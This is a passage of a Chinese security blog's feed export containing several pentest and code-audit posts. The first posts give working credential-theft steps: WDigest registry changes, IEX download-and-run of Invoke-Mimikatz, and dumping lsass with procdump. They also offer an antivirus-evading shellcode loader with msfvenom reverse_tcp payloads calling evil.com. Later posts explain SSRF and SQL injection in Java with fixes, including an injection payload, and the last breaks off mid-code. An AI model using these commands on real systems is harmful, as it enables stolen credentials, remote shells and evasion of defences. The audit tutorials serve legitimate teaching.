    <content type="html"><![CDATA[<h1 id="关于-KB2871997"><a href="#关于-KB2871997" class="headerlink" title="关于 KB2871997"></a>关于 KB2871997</h1><p>在 <code>KB2871997</code> 之前， Mimikatz 可以直接抓取明文密码。</p><p>当服务器安装 <code>KB2871997</code> 补丁后，系统默认禁用 <code>Wdigest Auth</code> ，内存（lsass进程）不再保存明文口令。Mimikatz 将读不到密码明文。<br>但由于一些系统服务需要用到 <code>Wdigest Auth</code>，所以该选项是可以手动开启的。（开启后，需要用户重新登录才能生效）</p><p>以下是支持的系统:</p><ul><li>Windows 7</li><li>Windows 8</li><li>Windows 8.1</li><li>Windows Server 2008</li><li>Windows Server 2012</li><li>Windows Server 2012R 2</li></ul><h2 id="开启"><a href="#开启" class="headerlink" title="开启"></a>开启</h2><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1</span><br></pre></td></tr></table></figure></li><li><p>meterpreter</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1</span><br></pre></td></tr></table></figure></li></ul><h2 id="关闭"><a href="#关闭" class="headerlink" title="关闭"></a>关闭</h2><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0</span><br></pre></td></tr></table></figure></li><li><p>meterpreter</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0</span><br></pre></td></tr></table></figure></li></ul><h1 id="强制锁屏"><a href="#强制锁屏" class="headerlink" title="强制锁屏"></a>强制锁屏</h1><p>在开启 <code>Wdigest Auth</code> 后，需要管理员重新登录才能逮到明文密码。</p><p>我们可以强制锁屏，让管理员重新登录。</p><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32 user32.dll,LockWorkStation</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell -c &quot;IEX (New-Object Net.WebClient).DownloadString(&apos;https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1&apos;);&quot;</span><br></pre></td></tr></table></figure></li></ul><blockquote><p>经测试 Win10企业版 仅锁屏读明文失败，需要注销才行，其它版本未知。</p></blockquote><h1 id="抓取明文"><a href="#抓取明文" class="headerlink" title="抓取明文"></a>抓取明文</h1><p>开启 <code>Wdigest Auth</code> 后，接下来就用常规的抓取明文的方式就行了。</p><h2 id="Mimikatz"><a href="#Mimikatz" class="headerlink" title="Mimikatz"></a>Mimikatz</h2><ol><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IEX (New-Object Net.WebClient).DownloadString(&apos;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1&apos;);Invoke-Mimikatz</span><br></pre></td></tr></table></figure></li><li><p>exe</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">sekurlsa::logonpasswords</span><br></pre></td></tr></table></figure></li></ol><h2 id="离线抓取"><a href="#离线抓取" class="headerlink" title="离线抓取"></a>离线抓取</h2><p>当 <code>Mimikatz</code> 被杀，可以先将 <code>lsass</code> 进程 <code>dump</code> 下来，在本地用 <code>Mimikatz</code> 读取。</p><ol><li><p>Dump 进程</p><p>可以用微软提供的 <a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump" target="_blank" rel="noopener"><code>procdump</code></a> ，自带微软签名，可以过杀软。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">procdump64.exe -accepteula -ma lsass.exe lsass.dmp</span><br></pre></td></tr></table></figure></li><li><p>Mimikatz 读取</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sekurlsa::minidump lsass.dmp</span><br><span class="line">sekurlsa::logonPasswords full</span><br></pre></td></tr></table></figure></li></ol>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;关于-KB2871997&quot;&gt;&lt;a href=&quot;#关于-KB2871997&quot; class=&quot;headerlink&quot; title=&quot;关于 KB2871997&quot;&gt;&lt;/a&gt;关于 KB2871997&lt;/h1&gt;&lt;p&gt;在 &lt;code&gt;KB2871997&lt;/code&gt; 之前， M
      
    
    </summary>
    
    
    
      <category term="Pentest" scheme="https://jayl1n.github.io/tags/Pentest/"/>
    
  </entry>
  
  <entry>
    <title>【GSL】 从内存加载 SHELLCODE 绕过AV查杀</title>
    <link href="https://jayl1n.github.io/2019/01/08/tools-load-shellcode/"/>
    <id>https://jayl1n.github.io/2019/01/08/tools-load-shellcode/</id>
    <published>2019-01-08T07:08:15.000Z</published>
    <updated>2023-08-16T15:16:43.316Z</updated>
    
    <content type="html"><![CDATA[<p>根据 <a href="https://github.com/brimstone/go-shellcode" target="_blank" rel="noopener">go-shellcode</a> 修改，原作者用命令行传 SHELLCODE 的方式有点麻瓜，所以修改了一番。</p><p>亲测可绕 360全家桶。</p><p>X86 &amp; X64 的 SHELLCODE 都可以，用对应 <code>gsl</code> 加载就行了。</p><p>下载：【<a href="https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl32.exe" target="_blank" rel="noopener">X86</a>】 【<a href="https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl64.exe" target="_blank" rel="noopener">X64</a>】</p><blockquote><p>为减小体积，已用 UPX 加壳压缩。</p></blockquote><a id="more"></a><h1 id="食用方法"><a href="#食用方法" class="headerlink" title="食用方法"></a>食用方法</h1><p>首先要准备好 SHELLCODE，支持 MSF 的 <code>RAW</code> 和 <code>HEX</code> 格式。</p><h2 id="生成-SHELLCODE"><a href="#生成-SHELLCODE" class="headerlink" title="生成 SHELLCODE"></a>生成 SHELLCODE</h2><h3 id="X86"><a href="#X86" class="headerlink" title="X86"></a>X86</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f raw &gt; evil.raw</span><br></pre></td></tr></table></figure><h3 id="X64"><a href="#X64" class="headerlink" title="X64"></a>X64</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f hex &gt; evil.hex</span><br></pre></td></tr></table></figure><h2 id="加载-SHELLCODE"><a href="#加载-SHELLCODE" class="headerlink" title="加载 SHELLCODE"></a>加载 SHELLCODE</h2><p>有三种方式。</p><h3 id="0X01"><a href="#0X01" class="headerlink" title="0X01"></a>0X01</h3><p>从参数传入 <strong>（必须是HEX格式）</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -s SHELLCODE -hex</span><br></pre></td></tr></table></figure><h3 id="0X02"><a href="#0X02" class="headerlink" title="0X02"></a>0X02</h3><p>从文件传入，需要先把 SHELLCODE 文件传到目标服务器上</p><ul><li><p>加载 RAW 格式</p>  <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -f evil.raw</span><br></pre></td></tr></table></figure></li><li><p>加载 HEX 格式</p>  <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -f evil.hex -hex</span><br></pre></td></tr></table></figure></li></ul><h3 id="0X03"><a href="#0X03" class="headerlink" title="0X03"></a>0X03</h3><p>从远程服务器加载，把 SHELLCODE 文件挂在WEB目录下。（支持HTTP/HTTPS）</p><ul><li><p>加载 RAW 格式</p>  <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -u http://evil.com/evil.raw</span><br></pre></td></tr></table></figure></li><li><p>加载 HEX 格式</p>  <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -u http://evil.com/evil.hex -hex</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;根据 &lt;a href=&quot;https://github.com/brimstone/go-shellcode&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;go-shellcode&lt;/a&gt; 修改，原作者用命令行传 SHELLCODE 的方式有点麻瓜，所以修改了一番。&lt;/p&gt;
&lt;p&gt;亲测可绕 360全家桶。&lt;/p&gt;
&lt;p&gt;X86 &amp;amp; X64 的 SHELLCODE 都可以，用对应 &lt;code&gt;gsl&lt;/code&gt; 加载就行了。&lt;/p&gt;
&lt;p&gt;下载：【&lt;a href=&quot;https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl32.exe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X86&lt;/a&gt;】 【&lt;a href=&quot;https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl64.exe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X64&lt;/a&gt;】&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为减小体积，已用 UPX 加壳压缩。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
      <category term="工具分享" scheme="https://jayl1n.github.io/tags/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB/"/>
    
  </entry>
  
  <entry>
    <title>从1开始的Java代码审计·第四弹·SSRF</title>
    <link href="https://jayl1n.github.io/2018/12/30/java-audit-step-by-step-4/"/>
    <id>https://jayl1n.github.io/2018/12/30/java-audit-step-by-step-4/</id>
    <published>2018-12-29T16:17:42.000Z</published>
    <updated>2023-08-16T15:16:43.202Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>最近的事情真的太多了 <strong>≧﹏≦</strong> ，趁着刚搞完小组的面试，发篇热乎的。</p></blockquote><a id="more"></a><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>自从 2016 年猪猪侠在乌云峰会发表议题——<a href="https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf" target="_blank" rel="noopener">《Build Your SSRF Exploit Framework》</a>，<code>SSRF</code> 才开始火起来的吧，攻击面越来越广，利用某些奇技淫巧可以直接GETSHELL。</p><p><code>SSRF</code> 的介绍、利用方式，PDF里都有讲，就不再赘述了，开始进入正题。</p><h1 id="支持的协议"><a href="#支持的协议" class="headerlink" title="支持的协议"></a>支持的协议</h1><p>Java 支持的协议可以在 <code>sum.net.www.protocol</code> 包下看到，如下图：</p><p><img src="/2018/12/30/java-audit-step-by-step-4/java-protocol.png" alt="java-protocol"></p><p>图中用的 JDK 是 <code>1.7</code>，可以看到有 <code>gopher</code> <code>file</code> <code>ftp</code> <code>http</code> <code>https</code> <code>jar</code> <code>mailto</code> <code>netdoc</code> 八种协议。其中最有意思的是 <code>gopher</code> 协议，可以用来构造其它协议的请求。但是，<strong><code>gopher</code> 在 <code>JDK8</code> 中已经被移除。</strong> 经过测试，在高版本的 <code>JDK7</code> 里，虽然 <code>sun.net.www.protoocol</code> 中还有 <code>gopher</code> 包，但是实际也已经不能使用，会抛 <code>java.net.MalformedURLException: unknown protocol: gopher</code> 的异常，被阉割地时间在2012年左右（From <a href="http://www.k0rz3n.com" target="_blank" rel="noopener">@K0rz3n</a>）。</p><h1 id="发起请求的流程"><a href="#发起请求的流程" class="headerlink" title="发起请求的流程"></a>发起请求的流程</h1><p>构造一个简单的 <code>http</code> 请求：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    URL u = <span class="keyword">new</span> URL(url);</span><br><span class="line">    URLConnection urlConnection = u.openConnection();</span><br><span class="line">    InputStream inputStream = urlConnection.getInputStream();</span><br><span class="line"></span><br><span class="line">    <span class="comment">//...</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">    e.printStackTrace();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简述下这个过程，首先，构造一个 <code>URL</code> 对象，调用 <code>url</code> 的 <code>openConnection()</code> 方法来获取一个 <code>URLConnection</code> 实例，然后再调 <code>getInputStream()</code> 拿到 <code>InputStream</code>，也就是请求的响应流。之后，再做我们想要的其它事情。</p><p>在这个过程中，如果 <code>URL</code> 是可控的，那么就会存在 <code>SSRF</code> 漏洞。</p><p>下面分析下主要的几个方法。</p><h2 id="new-URL"><a href="#new-URL" class="headerlink" title="new URL()"></a>new URL()</h2><p>构造一个 <code>URL</code> 对象，构造时，可以指定 <code>协议</code>，<code>HOST</code>，<code>端口</code>，<code>文件路径</code>，<code>URLStreamHandler</code>。</p><p>其中，<code>URLStreamHandler</code> 是一个抽象类，每个协议都有继承它的子类 —— <code>Handler</code>（可以在各协议的包下找到）。<code>Handler</code> 定义了该如何去打开一个连接（ <code>openConnection()</code> ）。</p><p>如果是直接传入一个 <code>URL</code> 字符串，会在构造对象时，根据 <code>protocol</code> 自动创建对应的 <code>Handler</code> 对象。</p><h2 id="openConnection"><a href="#openConnection" class="headerlink" title="openConnection()"></a>openConnection()</h2><p>每次调用 <code>openConnection()</code> 时，都会创造一个新的实例，也就是 <code>URLConnection</code>。但是，<strong>在实例创建时，真实的网络连接实际上并没有建立</strong>。只有在调用 <code>URLConnection.connect()</code> 方法后才会建立连接。</p><h2 id="getInputStream"><a href="#getInputStream" class="headerlink" title="getInputStream()"></a>getInputStream()</h2><p>从打开的连接获取一个 <code>InputStream</code>，可以从中得到 <code>URL</code> 请求的响应流。在调用这个方法时，会自动调用 <code>URLConnection.connect()</code> 方法，也就是建立连接。所以一旦调用 <code>getInputStream()</code> 连接就已经建立好了，不管后续做什么操作，这个 <code>URL</code> 请求都已经发出去了。</p><h2 id="另一种写法"><a href="#另一种写法" class="headerlink" title="另一种写法"></a>另一种写法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">URL u = <span class="keyword">new</span> URL(url);</span><br><span class="line">HttpURLConnection con = (HttpURLConnection) u.openConnection();</span><br><span class="line">con.setRequestMethod(<span class="string">"GET"</span>);</span><br><span class="line">con.setRequestProperty(<span class="string">"User-Agent"</span>, <span class="string">"Mozilla/5.0"</span>);</span><br><span class="line">con.getInputStream();</span><br><span class="line"></span><br><span class="line"><span class="comment">//...</span></span><br></pre></td></tr></table></figure><p>假设这里的 <code>URL</code> 使用户可控的，这段代码相对于上一段来说，会稍微 “安全” 些。如果攻击者想要使用 <code>gopher</code> 协议攻击内网服务，在第 <code>2</code> 行时，会由于类型强制转换失败而抛出异常。在异常抛出前，一直没有调用到 <code>connect()</code> 方法，所以请求并没有发出去。</p><blockquote><p>第 <code>2</code> 行的类型转换相当于限定了协议，在能够明确使用的协议的情况下，建议用这种方式对协议做限制。</p></blockquote><h1 id="其它发起请求的例子"><a href="#其它发起请求的例子" class="headerlink" title="其它发起请求的例子"></a>其它发起请求的例子</h1><h2 id="javax-imageio-ImageIO"><a href="#javax-imageio-ImageIO" class="headerlink" title="javax.imageio.ImageIO"></a>javax.imageio.ImageIO</h2><p>这是 <code>JDK</code> 自带的类，它的 <code>read()</code> 方法，用来加载图片。它可以传入一个 <code>URL</code> 对象，且没有协议限制，如下：</p><p>ImageIO.java:1386</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> BufferedImage <span class="title">read</span><span class="params">(URL input)</span> <span class="keyword">throws</span> IOException </span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (input == <span class="keyword">null</span>) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> IllegalArgumentException(<span class="string">"input == null!"</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    InputStream istream = <span class="keyword">null</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        istream = input.openStream();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> IIOException(<span class="string">"Can't get input stream from URL!"</span>, e);</span><br><span class="line">    &#125;</span><br><span class="line">    ImageInputStream stream = createImageInputStream(istream);</span><br><span class="line">    BufferedImage bi;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        bi = read(stream);</span><br><span class="line">        <span class="keyword">if</span> (bi == <span class="keyword">null</span>) &#123;</span><br><span class="line">            stream.close();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        istream.close();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> bi;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>如果服务器在加载图片时，<code>URL</code> 是用户可控的，那么就会存在 <code>SSRF</code> 漏洞。</strong></p><h2 id="HttpClient"><a href="#HttpClient" class="headerlink" title="HttpClient"></a>HttpClient</h2><p>一个 <code>get</code> 请求的例子：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CloseableHttpClient httpClient = HttpClients.createDefault();</span><br><span class="line">HttpGet getRequest = <span class="keyword">new</span> HttpGet(url);</span><br><span class="line">HttpResponse response = httpClient.execute(getRequest);</span><br></pre></td></tr></table></figure><p>问题同上。</p><h2 id="其它"><a href="#其它" class="headerlink" title="其它"></a>其它</h2><ul><li><p>okhttp</p></li><li><p>Request</p></li><li><p>…</p></li></ul><h1 id="容易出现SSRF的功能点"><a href="#容易出现SSRF的功能点" class="headerlink" title="容易出现SSRF的功能点"></a>容易出现SSRF的功能点</h1><p>只要是能够对外发起网络请求的地方，就有可能会出现SSRF漏洞。</p><ul><li><p>从指定url获取内容</p></li><li><p>数据源连接</p></li><li><p>后台状态刷新</p></li><li><p>webmail (POP3/SMTP/IMAP)</p></li><li><p>文件处理 (加载图片/XML/PDF/ffpmg/ImageMagic)</p></li></ul><h1 id="修复策略"><a href="#修复策略" class="headerlink" title="修复策略"></a>修复策略</h1><ul><li><p>避免 <code>url</code> 用户可控，包括 <code>path</code></p></li><li><p>统一请求响应及错误信息</p></li><li><p>白名单校验url及ip</p></li><li><p>限制协议及端口</p></li><li><p>TTL 设置为 0，防止 <code>DNS Rebinding</code> 攻击（Java默认为 0）</p></li></ul><blockquote><p>可以参考 <a href="https://joychou.org" target="_blank" rel="noopener">@JoyChou</a> 师傅的<a href="https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java" target="_blank" rel="noopener">修复方案</a>。</p></blockquote><h1 id="相关文章"><a href="#相关文章" class="headerlink" title="相关文章"></a>相关文章</h1><ul><li><p><a href="https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf" target="_blank" rel="noopener">Build Your SSRF Exploit Framework</a></p></li><li><p><a href="https://joychou.org/java/javassrf.html" target="_blank" rel="noopener">SSRF in JAVA</a></p></li><li><p><a href="https://joychou.org/java/use-dnsrebinding-to-bypass-ssrf-in-java.html" target="_blank" rel="noopener">Use DNS Rebinding to Bypass SSRF in JAVA</a></p></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;最近的事情真的太多了 &lt;strong&gt;≧﹏≦&lt;/strong&gt; ，趁着刚搞完小组的面试，发篇热乎的。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="代码审计" scheme="https://jayl1n.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>从1开始的Java代码审计·第三弹·SQL注入</title>
    <link href="https://jayl1n.github.io/2018/11/15/java-audit-step-by-step-3/"/>
    <id>https://jayl1n.github.io/2018/11/15/java-audit-step-by-step-3/</id>
    <published>2018-11-15T15:47:52.000Z</published>
    <updated>2023-08-16T15:16:43.202Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>SQL注入是什么，有什么用，就不多介绍了。总结下漏洞的原因，主要是由于开发者对用户的输入没有做好过滤，直接将用户的输入带入到 SQL语句中，导致恶意用户可以控制服务器执行的SQL语句。</p><p>在 Java 中，操作SQL的主要有以下几种方式：</p><ol><li><p><code>java.sql.Statement</code></p></li><li><p><code>java.sql.PrepareStatement</code></p></li><li><p>使用第三方 <code>ORM</code> 框架 —— <code>MyBatis</code> 或 <code>Hibernate</code></p></li></ol><p>下面我们来分析以上几种执行SQL的方式。</p><a id="more"></a><h1 id="java-sql-Statement"><a href="#java-sql-Statement" class="headerlink" title="java.sql.Statement"></a>java.sql.Statement</h1><p><code>java.sql.Statement</code> 是最原始的执行SQL的接口，使用它时，需要手动拼接SQL语句，如下面这样：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user WHERE id = '"</span> + id + <span class="string">"'"</span>;</span><br><span class="line">Statement statement = connection.createStatement();</span><br><span class="line">statement.execute(sql);</span><br></pre></td></tr></table></figure><p>假设这里 <code>id</code> 参数是直接从用户的请求里获取的，并且没有经过过滤，那么这处代码就会存在SQL注入漏洞。</p><p>构造请求 <code>/?id=&#39;or 1 #</code>，服务器将 <code>&#39;or 1 #</code> 拼接到 sql 语句中，就会变成 <code>SELECT * FROM user WHERE id = &#39;&#39;or 1 #</code>，将返回 <code>user</code> 表的所有记录。</p><p>在任何时候，都不推荐使用 <code>java.sql.Statement</code> 这种方式来执行SQL。</p><p>因为这种方式写的代码可读性很差，容易出错，同时也存在很大的安全隐患。</p><h1 id="java-sql-PrepareStatement"><a href="#java-sql-PrepareStatement" class="headerlink" title="java.sql.PrepareStatement"></a>java.sql.PrepareStatement</h1><p>这个接口是对 <code>java.sql.Statement</code> 的拓展，拥有了防SQL注入的特性。</p><blockquote><p>Tip: <code>java.sql.Statement</code> 每次执行一条SQL，都要重新编译一次SQL。而 <code>java.sql.PreparedStatement</code> 预编译的方式，会将SQL缓存在数据库，可以重复调用，相比 <code>Statement</code> 效率要高一些。</p></blockquote><p>使用时，在SQL语句中，用 <code>?</code> 作为占位符，代替需要传入的参数，然后将该语句传递给数据库，数据库会对这条语句进行预编译。如果要执行这条SQL，只要用特定的 <code>set</code> 方法，将传入的参数设置到SQL语句中的指定位置，然后调用 <code>execute</code> 方法执行这条完整的SQL。示例如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user WHERE id = ?"</span>;</span><br><span class="line"><span class="comment">//预编译语句</span></span><br><span class="line">PreparedStatement preparedStatement = connection.prepareStatement(sql);</span><br><span class="line"><span class="comment">//填入参数</span></span><br><span class="line">preparedStatement.setString(<span class="number">1</span>,reqStuId);</span><br><span class="line">preparedStatement.executeQuery();</span><br></pre></td></tr></table></figure><p>此时，如果我用之前的请求攻击，执行的SQL会变成 <code>SELECT * FROM user WHERE id = &#39;\&#39;or 1 #&#39;</code>，可以看到单引号是被转义了，同时参数也被一对单引号包裹，数字型注入也不存在了。</p><h2 id="特殊情况"><a href="#特殊情况" class="headerlink" title="特殊情况"></a>特殊情况</h2><h3 id="ORDER-BY"><a href="#ORDER-BY" class="headerlink" title="ORDER BY"></a>ORDER BY</h3><p>我们已经知道，通过占位符传参，不管传递的是什么类型的值，都会被单引号包裹。而使用 <code>ORDER BY</code> 时，要求传入的是字段名或者是字段位置，如：</p><ol><li><p><code>SELECT * FROM user ORDER BY id</code></p></li><li><p><code>SELECT * FROM user ORDER BY 1</code></p></li></ol><p><strong>如果传入的是引号包裹的字符串，那么 <code>ORDER BY</code> 会失效</strong>，如：<code>SELECT * FROM user ORDER BY &#39;id&#39;</code>。</p><p>所以，如果要动态传入 <code>ORDER BY</code> 参数，只能用字符串拼接的方式，如：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String sql = <span class="string">"SELECT * FROM user ORDER BY "</span> + column;</span><br></pre></td></tr></table></figure><p>那么这样依然可能会存在SQL注入的问题，在 <code>Java</code> 中会有两种情况：</p><ol><li><p>column 是字符串型</p><p> 这种情况和 <code>Statement</code> 中描述的一样，是存在注入的。要防御就必须要手动过滤，或者将字段名硬编码到 <code>SQL</code> 语句中，比如：</p> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">String column = <span class="string">"id"</span>;</span><br><span class="line">String sql =<span class="string">""</span>;</span><br><span class="line"><span class="keyword">switch</span>(column)&#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"id"</span>:</span><br><span class="line">        sql = <span class="string">"SELECT * FROM user ORDER BY id"</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"username"</span>:</span><br><span class="line">        sql = <span class="string">"SELECT * FROM user ORDER BY username"</span>;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    ......</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>column 是 int 型</p><p> 因为 <code>Java</code> 是强类型语言，当用户传递的参数与后台定义的参数类型不匹配，程序会抛出异常，赋值失败。所以，不会存在注入的问题。</p></li></ol><blockquote><p>类似的， <code>GROUP BY</code> 也会有同样的问题。</p></blockquote><h1 id="MyBatis"><a href="#MyBatis" class="headerlink" title="MyBatis"></a>MyBatis</h1><p>基础篇提到的 <code>JEESNS</code> 用的就是 <code>MyBatis</code>，略过介绍。</p><p><code>MyBatis</code> 使用内联参数 <code>${example}</code> 或 <code>#{example}</code>，将查询的属性和参数做绑定，如下：</p><p>${}</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">"selectStudentByStuId"</span> <span class="attr">resultMap</span>=<span class="string">"studentMap"</span>&gt;</span></span><br><span class="line">    SELECT *</span><br><span class="line">    FROM student</span><br><span class="line">    WHERE stu_id = $&#123;stuId&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#{}</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span 